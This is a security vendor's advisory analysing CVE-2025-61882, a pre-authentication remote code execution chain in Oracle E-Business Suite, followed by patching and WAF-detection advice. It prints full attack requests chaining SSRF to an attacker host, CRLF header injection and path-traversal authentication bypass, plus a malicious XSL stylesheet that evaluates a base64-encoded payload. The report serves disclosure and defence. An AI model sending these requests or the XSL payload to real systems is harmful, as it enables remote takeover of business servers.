[2025.11 Vulnerability Report] Oracle E-Business Suite RCE Chain | SECaaS Platform AIONCLOUD

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Back to Threat Intelligence Report

[2025.11 Vulnerability Report] Oracle E-Business Suite RCE Chain

This vulnerability is a remote code execution vulnerability in Oracle E-Business Suite. An attacker could exploit multiple vulnerabilities in the service to execute malicious commands. A patch for this vulnerability was released in October 2025, and AIWAF products will address this vulnerability through the "Oracle E-Business RCE Chain" pattern, which will be added in the November 2025 pattern update.

Tags: Oracle, Oracle E-Business Suite, Authentication Bypass, Server-Side Request Forgery, CRLF Injection, XSLT Injection, RCE, Remote Code Execution, RCE Chain

1. Overview

Oracle E-Business Suite is a collection of enterprise software applications designed to integrate and automate key business processes such as finance, supply chain, and customer relationship management.

This Report summarizes the analysis conducted on CVE-2025-61882, which occurred in this service.

image.png

Source: https://www.erpadvisorsgroup.com/blog/oracle-e-business-suite-support

2. Attack Type

CVE-2025-61882 is an RCE Chain vulnerability disclosed in October 2025, and detailed technical analysis regarding this vulnerability was published by the watchtowr team.

This vulnerability consists of multiple vulnerabilities being chained together to ultimately execute malicious commands. According to the watchtowr team, Server-Side Request Forgery, CRLF Injection, Authentication Bypass, and XSL Transformation RCE vulnerabilities are interconnected, leading to the execution of malicious commands.

image.png

Source:
noreferrer">https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/

XML Injection + Server-Side Request Forgery (SSRF)

First, an attacker sends XML data through the getUiType= parameter to the /OA_HTML/configurator/UiServlet endpoint. If the attacker inserts their own URL into the return_url field, the service makes a request to the attacker-controlled URL without any validation, enabling SSRF exploitation.

According to the source code analyzed by watchtowr, the createNew function parses the return_url value from the XML data and attempts a connection via the cZURLConnection function without validation.

if (paramHttpServletRequest.getParameter("killAndRestartServer") != null) {
paramHttpServletResponse.sendError(400);
closeSession(httpSession);
} else if (paramHttpServletRequest.getParameter("generateOutput") != null) {
generateOutput(paramHttpServletRequest, paramHttpServletResponse);
} else if (paramHttpServletRequest.getParameter("getUiType") != null) {
String str = paramHttpServletRequest.getParameter("redirectFromJsp");
XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType"));
if (str == null || "false".equalsIgnoreCase(str)) {
redirectToCZInitialize(paramHttpServletRequest, paramHttpServletResponse, str2);
return;
}
createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse);
...

protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
URL uRL = getUrl(paramString1);
if (uRL != null)
paramString1 = uRL.toExternalForm();
CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
String[] arrayOfString1 = { "XMLmsg" };
String[] arrayOfString2 = { paramString2 };
cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
cZURLConnection.close();
}


Example Attack Request:

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: www.test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 407
redirectFromJsp=1&getUiType=<@urlencode_all><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://attacker.com</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode_all>


CRLF Injection + Keep Connection Alive The attacker then injects \r\n ( , %0d%0a) into the return_url field to manipulate the Header/Body boundary of the request being sent to the attacker server. This allows injecting arbitrary headers or body data. The attacker inserts a Connection: keep-alive header to maintain the session and continue the attack.

Example Attack Request:

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: www.test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 524
redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url"><http://attacker-oob-server>/HeaderInjectionTest HTTP/1.1
InjectedHeader:Injected
POST
/</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode>


Example request sent to the attacker’s server:

POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected


Authentication Bypass + XSL Transformation

Through the SSRF and CRLF Injection vulnerabilities, the attacker gains access to the internal core application service of Oracle EBS at:http://apps.example.com:7201 This internal host exposes numerous JSPs and servlets, most of which require authentication.

However, the attacker can bypass authentication by inserting ../ within the OA_HTML/help/ path, allowing access to internal JSPs and servlets without credentials. Among these endpoints, the ieshostedsurvey.jsp page loads XSL data based on the client-controlled Host: header without any validation. If the attacker directs this Host header to their own server, Oracle EBS fetches the malicious XSL payload and processes it immediately.

Thus, combining all vulnerabilities, the final exploit request becomes the following:

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
Content-Length: 847
Content-Type: application/x-www-form-urlencoded
redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url"><http://apps.example.com:7201><@html_entities>/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: attacker-oob-server
User-Agent: anything
Connection: keep-alive
Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo
POST /</@html_entities></param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode>


When this request is sent, Oracle EBS issues an arbitrary POST request to the attacker-controlled server. The attacker then responds with the following malicious XSL payload, which Oracle EBS processes without any validation:

Malicious XSL Payload

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>


3. Mitigation Measures

This vulnerability has been observed in use by ransomware groups such as “CIop,” leading to its inclusion in CISA’s KEV list on October 6, 2025. Oracle subsequently released a security patch addressing the vulnerability later that month.

Our AIWAF product will detect and block this attack using the “2280: Oracle E-Business RCE Chain” pattern, which will be added in the November 2025 pattern update.

image.png

Source: https://www.oracle.com/security-alerts/alert-cve-2025-61882.html

4. Conclusion

Oracle E-Business Suite is a collection of enterprise software applications designed to integrate and automate essential business processes such as finance, supply chain, and customer relationship management. The CVE-2025-61882 vulnerability disclosed in this product is especially critical because PoC and exploit details have already been publicly released. Furthermore, multiple threat groups — particularly ransomware operators — have been observed actively exploiting this vulnerability. Therefore, organizations using Oracle E-Business Suite must urgently apply the latest patches to mitigate exploitation risks.

The TA team at MONITORAPP continues to monitor vulnerabilities emerging in Oracle products and will promptly respond to newly discovered issues moving forward.

5. References

https://nvd.nist.gov/vuln/detail/CVE-2025-61882 https://socradar.io/cve-2025-61882-oracle-e-business-suite-exploited
https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882

Scroll Up